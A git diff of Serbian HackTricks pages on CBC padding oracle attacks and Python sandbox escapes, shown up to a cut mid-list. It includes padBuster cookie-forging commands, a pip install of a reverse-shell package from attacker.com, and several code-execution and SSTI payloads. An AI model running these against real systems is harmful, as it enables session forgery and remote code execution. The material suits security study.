Učite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podržite HackTricks</summary> <summary>Support HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# CBC - Cipher Block Chaining # CBC - Cipher Block Chaining
U CBC režimu se **prethodni šifrovani blok koristi kao IV** za XOR sa sledećim blokom: U CBC režimu **prethodni enkriptovani blok se koristi kao IV** za XOR sa sledećim blokom:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png) ![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Za dešifrovanje CBC-a se vrše **suprotne operacije**: Da bi se dekriptovao CBC, vrše se **suprotne** **operacije**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png) ![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Primetite kako je potrebno koristiti **ključ za šifrovanje** i **IV**. Primetite kako je potrebno koristiti **ključ za enkripciju** i **IV**.
# Padding Poruke # Poravnanje poruka
Pošto se šifrovanje vrši u **fiksnim veličinama blokova**, **padding** je obično potreban u **poslednjem bloku** da bi se kompletirala njegova dužina.\ Kako se enkripcija vrši u **fiksnim** **veličinama** **blokova**, obično je potrebno **poravnanje** u **poslednjem** **bloku** da bi se završila njegova dužina.\
Obično se koristi **PKCS7**, koji generiše padding **ponavljanjem** **broja** **bajtova** **potrebnih** da se **kompletira** blok. Na primer, ako poslednjem bloku nedostaju 3 bajta, padding će biti `\x03\x03\x03`. Obično se koristi **PKCS7**, koji generiše poravnanje **ponavljajući** **broj** **bajtova** **potrebnih** da se **završi** blok. Na primer, ako poslednjem bloku nedostaje 3 bajta, poravnanje će biti `\x03\x03\x03`.
Pogledajmo još primera sa **2 bloka dužine 8 bajtova**: Pogledajmo više primera sa **2 bloka dužine 8 bajtova**:
| bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Primetite kako je u poslednjem primeru **poslednji blok bio pun pa je generisan još jedan samo sa paddingom**. Primetite kako je u poslednjem primeru **poslednji blok bio pun, pa je generisan još jedan samo sa poravnanjem**.
# Padding Oracle # Padding Oracle
Kada aplikacija dešifruje šifrovane podatke, prvo će dešifrovati podatke; zatim će ukloniti padding. Tokom čišćenja paddinga, ako **neispravan padding pokrene detektibilno ponašanje**, imate **ranjivost padding orakla**. Detektibilno ponašanje može biti **greška**, **nedostatak rezultata** ili **sporiji odgovor**. Kada aplikacija dekriptuje enkriptovane podatke, prvo će dekriptovati podatke; zatim će ukloniti poravnanje. Tokom čišćenja poravnanja, ako **nevalidno poravnanje izazove uočljivo ponašanje**, imate **vulnerabilnost padding oracle**. Uočljivo ponašanje može biti **greška**, **nedostatak rezultata**, ili **sporiji odgovor**.
Ako primetite ovo ponašanje, možete **dešifrovati šifrovane podatke** i čak **šifrovati bilo koji čisti tekst**. Ako primetite ovo ponašanje, možete **dekriptovati enkriptovane podatke** i čak **enkriptovati bilo koji čist tekst**.
## Kako iskoristiti ## Kako iskoristiti
@ -58,25 +62,25 @@ Da biste testirali da li je kolačić sajta ranjiv, možete pokušati:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
``` ```
**Kodiranje 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći). **Encoding 0** znači da se koristi **base64** (ali su dostupni i drugi, proverite meni pomoći).
Takođe možete **zloupotrebiti ovu ranjivost da biste šifrovali nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**korisnik=MojeKorisničkoIme**_**", tada ga možete promeniti u "\_korisnik=administrator\_" i eskalirati privilegije unutar aplikacije. To takođe možete uraditi koristeći `paduster` navođenjem parametra -plaintext**: Takođe možete **iskoristiti ovu ranjivost da enkriptujete nove podatke. Na primer, zamislite da je sadržaj kolačića "**_**user=MyUsername**_**", tada ga možete promeniti u "\_user=administrator\_" i eskalirati privilegije unutar aplikacije. Takođe to možete uraditi koristeći `paduster`specifikujući -plaintext** parametar:
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u popunjavanju, ali možete i sami naznačiti poruku o grešci koristeći parametar **-error**. Ako je sajt ranjiv, `padbuster` će automatski pokušati da pronađe kada se javlja greška u dodavanju, ali takođe možete naznačiti poruku o grešci koristeći **-error** parametar.
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
## Teorija ## Teorija
U **kratko**, možete početi dešifrovanje šifrovanih podataka pogađajući tačne vrednosti koje se mogu koristiti za kreiranje svih **različitih punjenja**. Zatim, napad padding orakl će početi dešifrovanje bajtova od kraja ka početku pogađajući koja će biti tačna vrednost koja **stvara punjenje od 1, 2, 3, itd**. U **kratko**, možete početi dekriptovanje enkriptovanih podataka pogađanjem ispravnih vrednosti koje se mogu koristiti za kreiranje svih **različitih paddinga**. Tada će napad na padding oracle početi dekriptovanje bajtova od kraja ka početku pogađajući koja će biti ispravna vrednost koja **stvara padding od 1, 2, 3, itd**.
![](<../.gitbook/assets/image (629) (1) (1).png>) ![](<../.gitbook/assets/image (629) (1) (1).png>)
Zamislite da imate neki šifrovan tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\ Zamislite da imate neki enkriptovani tekst koji zauzima **2 bloka** formirana bajtovima od **E0 do E15**.\
Da biste **dešifrovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dešifrovanje blok šifre" generišući **posredne bajtove I0 do I15**.\ Da biste **dekriptovali** **poslednji** **blok** (**E8** do **E15**), ceo blok prolazi kroz "dekripciju blok cifre" generišući **intermedijarne bajtove I0 do I15**.\
Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima (E0 do E7). Dakle: Na kraju, svaki intermedijarni bajt se **XOR-uje** sa prethodnim enkriptovanim bajtovima (E0 do E7). Tako:
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -84,43 +88,47 @@ Na kraju, svaki posredni bajt se **XORuje** sa prethodnim šifrovanim bajtovima
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
Sada je moguće **modifikovati `E7` dok `C15` ne bude `0x01`**, što će takođe biti tačno punjenje. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7` Sada, moguće je **modifikovati `E7` dok `C15` ne bude `0x01`**, što će takođe biti ispravan padding. Dakle, u ovom slučaju: `\x01 = I15 ^ E'7`
Dakle, pronalaženjem E'7, moguće je **izračunati I15**: `I15 = 0x01 ^ E'7` Dakle, pronalaženjem E'7, **moguće je izračunati I15**: `I15 = 0x01 ^ E'7`
Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` Što nam omogućava da **izračunamo C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Znajući **C15**, sada je moguće **izračunati C14**, ali ovog puta forsujući punjenje `\x02\x02`. Znajući **C15**, sada je moguće **izračunati C14**, ali ovaj put brute-forcing padding `\x02\x02`.
Ovaj BF je jednako složen kao i prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je potrebno samo pronaći **`E'14`** koji generiše **`C14` jednako `0x02`**.\ Ovaj BF je jednako složen kao prethodni jer je moguće izračunati `E''15` čija je vrednost 0x02: `E''7 = \x02 ^ I15` tako da je samo potrebno pronaći **`E'14`** koji generiše **`C14` jednako `0x02`**.\
Zatim, uradite iste korake za dešifrovanje C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** Zatim, uradite iste korake da dekriptujete C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Pratite ovaj lanac dok ne dešifrujete ceo šifrovan tekst.** **Pratite ovaj lanac dok ne dekriptujete ceo enkriptovani tekst.**
## Otkrivanje ranjivosti ## Otkrivanje ranjivosti
Registrujte nalog i prijavite se sa tim nalogom.\ Registrujte se i prijavite sa ovim nalogom.\
Ako se **prijavite mnogo puta** i uvek dobijete **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. Kolačić koji se vraća trebao bi biti jedinstven svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti validan i neće biti načina da se on poništi. Ako se **prijavljujete više puta** i uvek dobijate **isti kolačić**, verovatno postoji **nešto** **pogrešno** u aplikaciji. **Kolačić koji se vraća treba da bude jedinstven** svaki put kada se prijavite. Ako je kolačić **uvek** **isti**, verovatno će uvek biti važeći i neće biti načina da se on **nevaži**.
Sada, ako pokušate da **modifikujete** kolačić, videćete da dobijate **grešku** od aplikacije.\ Sada, ako pokušate da **modifikujete** **kolačić**, možete videti da dobijate **grešku** iz aplikacije.\
Ali ako forsite punjenje (koristeći na primer padbuster) uspećete da dobijete drugi kolačić koji je validan za drugog korisnika. Ovaj scenario je vrlo verovatno ranjiv na padbuster. Ali ako BF-ujete padding (koristeći padbuster na primer) uspete da dobijete drugi kolačić važeći za drugog korisnika. Ovaj scenario je veoma verovatno ranjiv na padbuster.
## Reference ## Reference
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Naučite i vežbajte hakovanje AWS-a:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Naučite i vežbajte hakovanje GCP-a: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,9 +15,19 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details> </details>
{% endhint %} {% endhint %}
Ovo su neki trikovi za zaobilaženje zaštite python sandboksa i izvršavanje proizvoljnih komandi. <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
## Biblioteke za izvršavanje komandi #### Get a hacker's perspective on your web apps, network, and cloud
**Pronađite i prijavite kritične, iskorišćive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ovo su neki trikovi za zaobilaženje zaštita python sandboksa i izvršavanje proizvoljnih komandi.
## Command Execution Libraries
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa nekom već uvezenom bibliotekom, ili ako možete uvesti neku od ovih biblioteka: Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa nekom već uvezenom bibliotekom, ili ako možete uvesti neku od ovih biblioteka:
```python ```python
@ -92,7 +102,7 @@ Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
Možete preuzeti paket za kreiranje reverzne ljuske ovde. Molimo vas da napomenete da pre korišćenja treba **dekompresovati, promeniti `setup.py` i staviti vašu IP adresu za reverznu ljusku**: Možete preuzeti paket za kreiranje reverzne ljuske ovde. Molimo vas da pre korišćenja **dekompresujete, promenite `setup.py` i stavite svoju IP adresu za reverznu ljusku**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
@ -103,7 +113,7 @@ Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada napus
## Eval-ovanje python koda ## Eval-ovanje python koda
{% hint style="warning" %} {% hint style="warning" %}
Napomena da exec omogućava višelinijske stringove i ";", ali eval ne (proverite operator vidre) Imajte na umu da exec omogućava višelinijske stringove i ";", ali eval ne (proverite operator vidre)
{% endhint %} {% endhint %}
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje: Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje:
@ -197,7 +207,7 @@ Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste
#### RCE sa prilagođenim klasama #### RCE sa prilagođenim klasama
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da izvršavaju **arbitrarni kod** kada su **pokrenute** bez direktnog pozivanja. Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da ih **izvršavaju proizvoljan kod** kada su **pokrenute** bez direktnog pozivanja.
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -319,10 +329,10 @@ pass
``` ```
## Builtins ## Builtins
* [**Builtins funkcije python2**](https://docs.python.org/2/library/functions.html) * [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
* [**Builtins funkcije python3**](https://docs.python.org/3/library/functions.html) * [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Ako možete pristupiti **`__builtins__`** objektu, možete uvesti biblioteke (primetite da ovde možete koristiti i druge string reprezentacije prikazane u poslednjem odeljku): Ako možete pristupiti **`__builtins__`** objektu, možete uvesti biblioteke (primetite da ovde možete koristiti i drugu string reprezentaciju prikazanu u poslednjem odeljku):
```python ```python
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
@ -452,9 +462,9 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
``` ```
### Pronalaženje opasnih učitanih biblioteka ### Pronalazak opasnih učitanih biblioteka
Na primer, znajući da sa bibliotekom **`sys`** može da se **uvezete proizvoljne biblioteke**, možete pretražiti sve **module koji su učitani i koji imaju uvezen sys unutar njih**: Na primer, znajući da sa bibliotekom **`sys`** može da se **uvezu proizvoljne biblioteke**, možete pretražiti sve **module koji su učitani i koji imaju uvezen sys unutar njih**:
```python ```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -550,7 +560,7 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, 